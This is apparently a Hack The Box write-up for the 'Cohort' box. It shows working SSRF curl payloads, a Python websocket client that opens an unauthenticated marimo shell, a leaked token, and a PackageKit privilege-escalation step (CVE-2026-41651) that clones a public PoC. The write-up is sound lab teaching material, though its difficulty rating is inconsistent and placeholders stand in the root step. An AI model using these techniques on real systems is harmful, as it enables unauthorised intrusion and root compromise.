Cohort
Cohort is a hard-difficulty Linux box built around a client-rendered analytics site whose "report source validator" is a full-read SSRF.
- platform
- Hack The Box
- target_os
- Linux (Ubuntu 24.04 / kernel 6.8)
- difficulty
- Easy
- season
- Season 11
- logged
- August 4, 2026
Summary of Exploitation
Cohort is a hard-difficulty Linux box built around a client-rendered analytics site whose “report source validator” is a full-read SSRF. Starting from an unauthenticated position, the chain proceeds as follows:
- Full-read SSRF in
/api/validatefetches an attacker-supplied URL and returns the response body as a preview. The fetcher is Pythonurllib, and the internal-address filter is a string match with no DNS resolution. - Internal disclosure via
/status— read through the SSRF (the request originates from the box), this endpoint leaks nginx’s upstream map, including a randomly-named vhostnb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888that is unguessable and absent from any wordlist. - marimo unauthenticated terminal — the disclosed vhost is a marimo notebook server. Its UI is gated behind a login token, but the terminal websocket
/terminal/wsis not, yielding RCE asmarimo. - PackageKit TOCTOU (CVE-2026-41651) — a time-of-check-time-of-use race on
cached_transaction_flagslets an unprivileged local user install an arbitrary package as root, executing its scriptlet and completing the chain. A conspicuous Sysmon/laurelaudit stack is a decoy.
Recon Phase
An initial full-port Nmap scan was run against the target:
nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>
Results (abridged):
| Port | State | Service | Version |
|---|---|---|---|
| 22 | open | ssh | OpenSSH 9.6p1 (Ubuntu) |
| 80 | open | http | nginx 1.24.0 — redirects to https://cohort.htb/ |
| 443 | open | ssl/http | nginx 1.24.0 — CN=cohort.htb, SAN *.cohort.htb |
Key takeaways from recon:
- Only a web surface and SSH. The site redirects everything to
https://cohort.htb/. - The TLS certificate carries a wildcard SAN (
DNS:*.cohort.htb) — the first hint that vhosts matter, though the decisive vhost turns out to be unguessable (see Step 2).
The domain was added to /etc/hosts:
echo "<target-ip> cohort.htb" | sudo tee -a /etc/hosts
Content discovery surfaced three paths:
gobuster dir -u https://cohort.htb -k -x '' \
-w .../DirBuster-2007_directory-list-2.3-medium.txt
/assets 301
/status 403 <- gated, not the SPA's default response
/api 301
The site is a client-rendered SPA. /portal.html exposes a Client Insights feature: register a “report source URL” that the backend fetches once “to confirm it is reachable.”
Gotcha — vhost fuzzing is a dead end. Host-header fuzzing returns an endless list of identical
301 / 178 bytes → https://cohort.htb/results. That is nginx’s catch-all server block, not real vhosts. Confirm with a random host:curl -skI https://cohort.htb -H "Host: $(head -c8 /dev/urandom | xxd -p).cohort.htb" # 301 ... Location: https://cohort.htb/The real vhost is not in any wordlist — it is only obtainable via the disclosure in Step 2. Filtering on the wrong size (
-fs 908, the root-page length) also lets the 178-byte catch-all noise through; auto-calibrate with-ac.
SSRF Enumeration
Confirming full-read SSRF
The validator returns status, content-type, and a body preview:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
--data-raw '{"url":"https://cohort.htb/portal.html","format":"csv"}'
{"ok": true, "fetched_status": 200, "content_type": "text/html",
"preview": "<!doctype html>...", "message": "Source reachable."}
This is a full-read SSRF (~4 KB preview), not blind — the response body comes back. The format field is cosmetic (sending csv for HTML still returns ok: true).
Fingerprinting the fetcher
Point the validator at a listener and read the inbound request:
python3 -m http.server 8000 &
# submit: {"url":"http://<attacker-ip>:8000/probe","format":"json"}
GET /probe HTTP/1.1
Accept-Encoding: identity
User-Agent: CohortInsights/1.0 (+source-validator)
Accept-Encoding: identity with no Accept header is the signature of Python urllib.request (confirmed later from source). The operational consequence: urllib follows redirects by default.
Mapping the filter
# blocked
{"url":"http://127.0.0.1/status"} -> "Internal or loopback addresses are not permitted."
# allowed
{"url":"http://cohort.htb/status"} -> 200 + body
The deny-list is a string match on the submitted host with no DNS resolution (BLOCKED_HOSTS = {"localhost","127.0.0.1","::1",...}). Because cohort.htb resolves to loopback on the box, it passes the filter and still reaches local services — no encoding trickery needed.
Gotcha —
file://is doubly blocked. The validator’s scheme allow-list (http,https) rejects it at submission, and urllib’s redirect handler independently refuses cross-scheme redirects. No filesystem reads via the SSRF.
Exploitation Phase
Step 1 — /status upstream disclosure (the pivot)
/status returns 403 externally but is readable through the SSRF, because the request originates from the box itself:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
--data-raw '{"url":"http://cohort.htb/status","format":"json"}'
{"service":"cohort-edge","upstreams":[
{"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
{"name":"insights-api","host":"cohort.htb","target":"127.0.0.1:5000"},
{"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb",
"target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
]}
This is the crux of the box. The vhost
nb-1be3782a8afd3ad5.cohort.htbhas a random hex label — unguessable and absent from every wordlist./statusis the only place it appears. Without this leak the box is effectively unsolvable.
Optional — redirect bypass for direct
127.0.0.1probing. For addresses the filter does block, a 302 served from the attacker box redirects urllib to the real target (the filter only inspects the submitted URL, never the redirect hop). Useful during enumeration; not required for the final path, which reaches the vhost directly over 443.
Step 2 — Reaching the marimo vhost
Add the disclosed name to /etc/hosts; nginx serves it over 443 under the wildcard cert:
echo "<target-ip> nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
curl -sk https://nb-1be3782a8afd3ad5.cohort.htb/ | grep -i '<title>'
# <title>marimo</title>
The root page is a marimo notebook login form (POST /auth/login, “Access Token / Password”); Vary: Cookie indicates session-cookie auth.
Gotcha — the SSRF path 504s, direct access works. Requested through the SSRF, the vhost returns
504 Gateway Time-out(the fetcher gives up on nginx’s proxy). Hitting it directly with a longer timeout works fine and gives full HTTP — POST, cookies, and websockets — which the next step needs.
Step 3 — marimo unauthenticated /terminal/ws → shell as marimo
marimo gates its notebook UI behind the login token, but the terminal websocket is not gated. Connecting to it drops straight into a PTY.
import ssl, threading, websocket # pip install websocket-client (NOT: websocket)
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
ws.connect(f"wss://{HOST}/terminal/ws")
def reader():
while True:
try:
d = ws.recv()
print(d if isinstance(d, str) else d.decode(errors="replace"), end="", flush=True)
except Exception:
break
threading.Thread(target=reader, daemon=True).start()
while True:
ws.send(input() + "\n")
marimo@cohort:~$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
RCE as marimo.
Tooling gotchas
- Install
websocket-client, not the abandonedwebsocket(0.2.1). Same import name, but the old one has no clientWebSocket()class and shadows the correct module.- Pass
ssloptto the constructor, notconnect().check_hostname=False— the cert is*.cohort.htband you are reaching a subdomain via a hosts entry.
The intended token was recoverable from the process list anyway (--token-password YKQ6iPyO5kusNx0BpVAPfjP5), confirming what the login wanted — but /terminal/ws skips it entirely.
User flag:
cat /home/marimo/user.txt
Step 4 — Privilege escalation: PackageKit TOCTOU (CVE-2026-41651)
Enumeration. All conventional vectors are dead: no sudo -l entry, no useful SUID/SGID, no file capabilities, no writable cron/timer or service unit. /opt contains a conspicuous Sysmon-for-Linux + laurel audit stack.
Trap —
laurelis a decoy, not the target. Thelaurelbinary in/usr/local/sbinis loud and exotic, but it is the audit monitor, not the vulnerability. Its config even watches package management:label-keys = ["software_mgmt"], a-w /usr/bin/dpkg -k software_mgmtrule, andlabel-script."^/root/maint-.*[.]sh$". That configuration points at the method (package installation as root), not at laurel as the bug. Chasing laurel — or hunting a non-existent root cron job with pspy — is wasted time.
The real surface is a standard privileged daemon reachable across a privilege boundary: PackageKit, via system D-Bus, gated by polkit. Signals present all along: /usr/lib/polkit-1/polkit-agent-helper-1 (SUID), polkitd and dbus-daemon --system running, and polkit .rules in the enumeration output.
The deciding step is versioning that daemon:
pkcon --version
dpkg -l | grep -iE 'packagekit|polkit'
A PackageKit version in the range 1.0.2 – 1.3.4 is vulnerable to CVE-2026-41651.
Note — linpeas reports presence, you supply version. CVEs map to versions, and linpeas does not print PackageKit’s version. After enumeration, version every root-owned service reachable across a boundary (SUID, D-Bus/polkit, socket) and CVE-search each. A flashy planted binary (laurel) is often there precisely to pull attention off the boring standard daemon (PackageKit) that holds the bug.
The vulnerability. CVE-2026-41651 is a TOCTOU race on transaction->cached_transaction_flags in PackageKit src/pk-transaction.c, from three interacting bugs:
- Unconditional flag overwrite —
InstallFiles()writes caller-supplied flags tocached_transaction_flagswithout checking whether the transaction is already authorized/running; a second call overwrites them mid-flight. - Silent backward-transition rejection —
pk_transaction_set_state()silently discards an illegalRUNNING → WAITING_FOR_AUTHtransition, but the overwrite from (1) has already landed, so the transaction keeps running with corrupted flags. - Late flag read at dispatch — the scheduler’s idle callback reads
cached_transaction_flagsat execution time, not authorization time.
Net effect: an unprivileged local user wins the race between authorization and dispatch, flips the trusted/simulate flags after auth, and gets PackageKit to install an arbitrary package as root, running its scriptlet — without authentication. Patched in 1.3.5.
Exploitation (PoC: github.com/Vozec/CVE-2026-41651):
# as marimo, on target
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
# <CONFIRM: exact invocation used>
The PoC builds a package whose root scriptlet grants privilege (e.g. SUID root shell / sudoers entry / root reverse shell), then drives the InstallFiles race until the scriptlet executes as root.
Root Flag Successfully Obtained
# <CONFIRM: id -> uid=0(root)>
cat /root/root.txt
<root_flag>
Key Takeaways
- Read internal endpoints through any SSRF.
/statushere was pure information disclosure and the only route to the hidden vhost — the random hex hostname was otherwise unobtainable. - String-match host filters that don’t resolve are trivially bypassed. Any hostname that itself points at loopback (
cohort.htb) defeats aBLOCKED_HOSTSset with no encoding tricks required. websocket-client, notwebsocket. Different package, same import name — a classic time-sink.- Auth on the front door ≠ auth on every route. marimo gated its UI but left
/terminal/wsopen. - linpeas lists presence; you supply version. Post-enumeration reflex: version every privileged, boundary-reachable daemon (
pkcon --version,pkexec --version, D-Bus services) and CVE-search each. - A loud, exotic planted binary can be a decoy. The Sysmon/
laurelstack existed to pull attention off PackageKit, a standard daemon with a version-specific bug. Don’t skip versioning the boring privileged services. - pspy is for scriptable/cron TOCTOU, blind to a race inside a compiled daemon. When nothing spawns but a privileged service is clearly the surface, pivot from “hidden cron job” to “versioned CVE in this daemon.”
Full Attack Chain
unauthenticated
└─ SSRF /api/validate (full-read preview)
└─ /status read via SSRF ──> internal upstream disclosure
└─ nb-1be3782a8afd3ad5.cohort.htb ──> 127.0.0.1:8888 (marimo)
└─ /terminal/ws unauthenticated ──> shell as marimo [USER]
└─ PackageKit TOCTOU (CVE-2026-41651)
└─ install root-scriptlet package ──> Administrator/root [ROOT]